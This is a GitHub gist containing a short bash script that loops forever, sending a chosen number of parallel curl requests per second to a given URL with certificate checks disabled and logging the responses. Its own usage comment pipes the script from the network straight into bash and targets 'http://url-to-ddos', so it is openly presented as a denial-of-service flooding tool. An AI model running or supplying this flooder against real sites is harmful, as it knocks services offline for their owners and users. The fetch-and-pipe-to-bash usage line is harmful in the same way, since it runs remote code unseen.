Skip to content

Instantly share code, notes, and snippets.

@yevhenorlov
Last active May 12, 2019 10:40
Show Gist options
  • Save yevhenorlov/152795a59acb02efa9254be7adb78601 to your computer and use it in GitHub Desktop.
Save yevhenorlov/152795a59acb02efa9254be7adb78601 to your computer and use it in GitHub Desktop.
max="$1"
date
echo "url: $2
rate: $max calls / second"
START=$(date +%s);
get () {
curl -s -v -k "$1" 2>&1 | tr '\r\n' '\\n' | awk -v date="$(date +'%r')" '{print $0"\n-----", date}' >> /tmp/perf-test.log
}
while true
do
echo $(($(date +%s) - START)) | awk '{print int($1/60)":"int($1%60)}'
sleep 1
for i in `seq 1 $max`
do
get $2 &
done
done
#use as $ curl -L path/to/this/script | bash -s 20 "http://url-to-ddos"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment